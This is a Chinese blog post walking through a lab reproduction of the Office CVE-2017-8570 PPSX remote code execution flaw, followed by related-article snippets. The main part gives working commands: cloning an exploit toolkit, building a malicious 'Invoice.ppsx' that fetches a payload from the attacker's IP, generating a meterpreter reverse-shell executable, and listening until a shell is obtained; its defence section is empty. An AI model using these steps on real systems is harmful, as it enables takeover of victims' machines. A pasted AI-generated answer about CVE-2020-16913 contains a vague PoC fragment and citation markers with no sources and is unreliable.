Office 远程代码执行漏洞（CVE-2017-8570）复现

最新推荐文章于 2024-09-02 18:13:21 发布
最新推荐文章于 2024-09-02 18:13:21 发布
阅读量1.2k 收藏 5
点赞数 2
分类专栏： 漏洞复现 文章标签： libreoffice 代码规范 安全漏洞 cve
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/zzgslh/article/details/105399607
版权

【漏洞详情】

  • Office一直是主流的办公软件，当 Microsoft Office 软件无法正确处理内存中的对象时，其中存在远程执行代码漏洞。成功利用此漏洞的攻击者可以使用经特殊设计的文件在当前用户的安全上下文中执行操作。CVE-2017-8570这个漏洞影响office所有发行版本，当用户不经意点击了我们的恶意PPSX文件，那么我们就可以直接获取到他的用户权限，危害性十分高。

【验证详情】

  • 影响版本

Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

  • 验证过程

  • 1.这里使用的是Windows2007 sp1作为我的靶机，接着使用meatasploit工具进行漏洞复现。

  • 2.首先从网上下载CVE-2017-8570漏洞exp到本地目录：

git clone https://github.com/tezukanice/Office8570.git

在这里插入图片描述

  • 3.切换到Office8570目录下，然后新建目录，将原本已有的ppsx文件另存到template。

在这里插入图片描述

  • 4.生成恶意的PPSX文件到本地，使用命令如下，这里的IP是kali的IP：

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.233.132/logo.doc
在这里插入图片描述

  • 5.使用windows的meterpreter的反弹木马生成反弹shell的exe文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.233.132 LPORT=6666 -f exe > shell.exe

在这里插入图片描述

  • 6.设置监听，用于在80端口监听，等待恶意ppsx文件的执行，继而接收ppsx请求来下载执行kali本地反弹木马shell。

python cve-2017-8570_toolkit.py -M exp -e http://192.168.233.132/shell.exe -l shell.exe

在这里插入图片描述

  • 7.打开metasploit工具，使用multi/handler加载攻击模块，设置监听。

在这里插入图片描述

  • 8.将我们刚才生成的恶意的ppsx文件放在目标主机上执行，这里就是模拟用户点击黑客发送的恶意文件。

在这里插入图片描述

  • 9.点击运行Invoce.ppsx文件。

在这里插入图片描述

  • 10.查看是否接收到目标机发送的获取payload的请求，可见接收成功:

在这里插入图片描述

  • 11.查看MSF状态，已经获得shell。

在这里插入图片描述

【防御方式】

Office CVE-2017-8570远程代码执行漏洞复现
看不尽的尘埃——博客
11-19 520
简介 CVE-2017-8570漏洞是利用复合Moniker绕过了CVE-2017-0199的补丁针对Script Moniker和URL Moniker相关classid的拦截。CVE-2017-8570是一个逻辑漏洞，和常规的内存破坏型漏洞不同，这类漏洞无需复杂的利用手法，直接就可以在office文档中运行任意的恶意脚本。 影响版本 复现环境 靶机：windows...
office ppsx逻辑漏洞（CVE-2017-8570）
KAME_HOUSE
01-24 391
CVE-2017-8570影响office版本 Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 (32-bit editions) Microsoft Office 2010 Service Pack 2 (64-bit editions) Microsoft Office 2013 RT Service Pack 1 Microsoft Office 2013 Service Pack 1 (32-bit
Office CVE-2017-8570漏洞复现
weixin_44283446的博客
12-20 2216
Office CVE-2017-8570漏洞复现说明描述漏洞影响版本环境说明漏洞复现参考 说明 本文仅供学习使用 描述 2017年7月，微软在例行的阅读补丁中修复了多个Microsoft Office漏洞，其中的CVE-2017-8570漏洞为一个逻辑漏洞。网上公布了利用代码，影响范围广泛。该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是Microsof PowerPoint执行时会初始化“script”Moniker对象，而在PowerPoint播放动画期间会激活该对象，从而
kali下CVE-2017-8570利用复现实验
我的学习笔记
02-28 1641
参考：https://www.youtube.com/watch?v=jUhmPH_u6gshttps://github.com/tezukanice/Office8570https://www.symantec.com/security_response/vulnerability.jsp?bid=99445https://www.rapid7.com...
Office 远程代码执行漏洞 复现
weixin_53696027的博客
06-19 906
Office 远程代码执行漏洞 复现
Microsoft Outlook(MonikerLink)远程代码执行漏洞 （CVE-2024-21413)
李火火的安全圈
09-02 1042
Microsoft Office Outlook是微软办公软件套装的组件之一，它对Windows自带的Outlook express的功能进行了扩充。可以用它来收发电子邮件、管理联系人信息、记日记、安排日程、分配任务。攻击者以预览窗格作为攻击媒介制作绕过受保护视图协议的恶意链接，绕过 Office 受保护的视图并在编辑模式打开文件。成功利用此漏洞的攻击者可获取本地 NTLM 凭据信息并在目标计算机上远程执行任意代码。
office漏洞 (CVE-2017-11882)复现
芥子
01-25 3790
在/usr/share/metasploit-framework/modules/exploits/windows/smb上传 cve_2017_1182.rb 在/usr/share/metasploit-framework/data/exploits上传cve-2017-1182.rtf文件 以上的文件准备好后即可用msf来进行操作 在搜索模块的时候出现以下错误
CVE-2017-8570漏洞复现与研究
空旷在远方
09-22 3406
CVE-2017-8570漏洞复现与研究 ——2018.7.2   目  录 1引言     1.1微软office漏洞背景 1.2 CVE-2017-8570简介 1.3 office适用版本 2原理简单分析 2.1漏洞原理简单分析 2.2漏洞原理简单图解 2.3相关知识介绍 2.3.1 ppsx介绍 2.3.2 exp介绍 3利用复现过程 3.1环境搭建 3.1...
CVE-2017-8570漏洞利用
weixin_30267785的博客
12-19 294
CVE-2017-8570漏洞是一个逻辑漏洞，利用方法简单，影响范围广。由于该漏洞和三年前的SandWorm（沙虫）漏洞非常类似，因此我们称之为“沙虫”二代漏洞。 编号 CVE-2017-8570 影响版本 Microsoft Office 2007 Service Pack 3 Microsoft Office 2010 Service Pack 2 (32-bit edition...
CVE-2017-8570微软office漏洞复现与研究
qq_38352420的博客
06-30 807
title: CVE-2017-8570微软office漏洞复现与研究 date: 2019-02-01 23:47:44 CVE-2017-8570微软office漏洞复现与研究 微软office漏洞背景 微软Office系统软件（Word/Excel/PowerPoint等），一直是电脑上最为常用的办公软件之一，在国内外都拥有大量的用户。另一方面，利用Office系列软件的漏洞进行网络攻击已经成为黑客惯用的手段，广泛运用于APT攻击，抓肉鸡，传播勒索病毒等。其中一种典型的攻击方式是“鱼叉攻击”：黑客将.
Cve-2017-8570微软office漏洞复现
geshsh的博客
05-30 217
在使用msfvenom 使用模块，设置主机，设置监听端口，保存文件到本地。（基本原理：如果靶机打开生成的反弹木马，在攻击机监听传输的端口，攻击机监听到回显，在攻击机监听模块中。使用python使用cve-2017-8570_toolkit.py脚本使用其中的参数，生成一个Invoice.ppsx到本机IP下。切换到 Office8570-master目录下，创建template，将原有的，ppsx文件剪切到里面。在攻击机上进入msf模块，打开监听端口。收到回显，进入shell。同时在攻击机监听模块中。
【漏洞复现】Moniker禁用绕过漏洞|ole逻辑漏洞(CVE-2017-8570)
VI___
01-08 850
>> 在上一篇文章中提到了由于注册表项关于ActiveX控件功能的设置，导致 0199 的威胁并没有想象中的广泛，然而衍生漏洞 8570 的威胁却要比 0199 大得多： 微软修复 CVE-2017-0199 实际上是在 Office 中禁用了 htafile 对象和 script 对象，而没有禁用 ScriptletFile 对象，由于通过Composite Monike...
Office远程代码执行漏洞补丁(905413)
weixin_33971205的博客
03-17 127
Office远程代码执行漏洞补丁(905413)微软在安全公告MS06-012中介绍了这个Office远程代码执行漏洞(905413)及其补丁的详细情况。该补丁安全等级为高危级，影响Office 2000 SP3中的Word、Excel、Outlook、PowerPoint，Office XP SP3中的Word、Excel、Outlook、PowerPoint，Office...
A Close Look at RTF Zero-Day Attack CVE-2014-1761 Shows Sophistication of Attackers
tony的专栏
04-07 2098
A Close Look at RTF Zero-Day Attack CVE-2014-1761 Shows Sophistication of Attackers By Haifei Li on Apr 03, 2014 A serious RTF z
[漏洞复现] CVE-2017-11882 通杀所有Office版本
weixin_30246221的博客
06-06 246
此漏洞是由Office软件里面的 [公式编辑器] 造成的，由于编辑器进程没有对名称长度进行校验，导致缓冲区溢出，攻击者通过构造特殊的字符，可以实现任意代码执行。 举个例子，如果黑客利用这个漏洞，构造带有shell后门的office文件，当普通用户打开这个office文件，则电脑可以被黑客直接控制。 影响版本：office 2003office 2007offi...
Office CVE-2017-11882本地复现
Jun_ay的博客
11-22 4030
Office CVE-2017-11882本地复现 这两天，office又出名了，CVE-2017-11882成了圈里关注的热点，今年office爆出好几个漏洞，从CVE-2017-0199、CVE-2017-8570到现在的CVE-2017-11882，exp也是越来越简单粗暴。 下面，我也来蹭波热度。Step1：万年计算器POCPOC GitHub：可以使用国外出现的第一份poc：https
Office远程代码执行漏洞POC样本分析（CVE-2017-11882）
zz_strive_2012的专栏
11-21 2510
2017年11月14日，微软发布了11月份的安全补丁更新，其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞（CVE-2017-11882）。该漏洞为Office内存破坏漏洞，影响目前流行的所有Office版本。攻击者可以利用漏洞以当前登录的用户的身份执行任意命令。 由于漏洞影响面较广，漏洞披露后，金睛安全研究团队持续对漏洞相关攻击事件进行关注。11月19日，监控
CVE-2020-16913漏洞复现
最新发布
03-09
<think>好的，我需要帮助用户复现CVE-2020-16913漏洞。首先，我要确认这个漏洞的具体信息。CVE-2020-16913是Microsoft Outlook的一个远程代码执行漏洞，由恶意特制文件触发。用户需要搭建实验环境并进行步骤复现。 首先，查阅资料，确认漏洞影响的版本。根据微软的公告，该漏洞影响Outlook 2010到2019的多个版本，所以实验环境需要安装这些版本中的一个，比如Office 2016。可能需要使用Windows 10作为操作系统，并安装受影响的Outlook版本。 接下来，搭建环境可能需要虚拟机，比如VMware或VirtualBox，安装Windows 10和Office 2016。确保系统没有安装2020年10月的安全更新，因为该补丁修复了这个漏洞。需要关闭自动更新，或者回滚到更新前的状态。 然后是漏洞利用部分。这个漏洞通过特制的文件触发，可能需要构造一个恶意的Outlook文件（如.msg或.rft）。根据公开的信息，漏洞涉及Rich Text Format (RTF)解析中的内存损坏问题。用户需要获取或编写PoC（概念验证）代码，生成恶意文件。可能需要参考已有的漏洞分析或利用代码，比如Exploit-DB或GitHub上的资源。 步骤可能包括：创建恶意RTF文件，通过邮件或其他方式发送到目标Outlook，当用户预览或打开该文件时触发漏洞。需要配置Outlook的安全设置，可能降低防护以允许漏洞触发，比如禁用受保护的视图。 需要注意的事项包括：实验应在隔离环境中进行，避免影响真实系统；确保遵守法律和道德准则；可能需要调试工具如WinDbg来分析崩溃和内存转储，确认漏洞触发成功。 另外，用户可能遇到的问题包括环境配置错误、补丁未正确卸载、PoC文件构造不正确等。需要指导用户如何验证漏洞是否存在，例如检查系统日志或使用漏洞扫描工具。 最后，生成相关问题，帮助用户进一步理解相关漏洞和复现方法，比如如何分析漏洞的根本原因，防护措施，或其他相关CVE的复现方法。</think>### CVE-2020-16913漏洞复现步骤 CVE-2020-16913是Microsoft Outlook的远程代码执行漏洞，攻击者通过构造恶意文件诱导用户预览或打开，可触发内存损坏并执行任意代码[^1]。以下是复现步骤： --- #### **1. 实验环境搭建** - **操作系统**：Windows 10（建议虚拟机环境，如VMware/VirtualBox） - **软件版本**：安装未修复该漏洞的Microsoft Outlook版本： - Outlook 2010/2013/2016/2019（版本需低于2020年10月安全更新） - **配置要求**： 1. 关闭Outlook自动更新（防止补丁修复漏洞） 2. 禁用Outlook“受保护的视图”（允许直接加载外部内容） --- #### **2. 漏洞触发条件** - 用户需通过邮件接收恶意构造的`.rtf`或`.msg`文件，并执行以下操作之一： - 预览邮件内容 - 直接打开附件文件 --- #### **3. 复现步骤** **步骤1：生成恶意文件** 1. 构造特制的Rich Text Format（RTF）文件，利用Outlook解析漏洞触发内存损坏。 - 可参考公开PoC代码（如GitHub仓库中的`CVE-2020-16913.py`）生成恶意文件[^2]。 - 示例代码片段： ```python # 生成恶意RTF头部，包含畸形对象指针 rtf_header = b'{\\rtf1\\ansi\\ansicpg1252\\fromhtml{\\*\htmltag}' exploit_payload = b'<img src="x:\\localhost\\C$\\...\\恶意DLL路径">' # 触发路径解析漏洞 ``` **步骤2：发送恶意文件** 1. 将生成的`.rtf`文件通过邮件发送至目标Outlook账户，或直接放置于共享目录诱导用户打开。 **步骤3：触发漏洞** 1. 在目标主机使用Outlook打开邮件或附件。 2. 观察行为： - 若漏洞触发成功，将导致内存越界写入，可能引发进程崩溃（如`OUTLOOK.EXE`停止响应）。 - 结合调试工具（如WinDbg）分析崩溃时的寄存器状态，确认EIP控制权获取情况。 --- #### **4. 关键验证点** - **漏洞验证**：通过崩溃地址确认是否触发漏洞。例如，若`EIP`指向可控内存区域，则证明漏洞可利用。 - **防护绕过**：需关闭Outlook的“受保护视图”和“附件安全检查”功能[^3]。 --- #### **5. 修复建议** - 安装微软2020年10月安全更新（KB4486740/KB4486745）[^4]。 - 启用Outlook的“阻止外部内容”策略。 ---
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值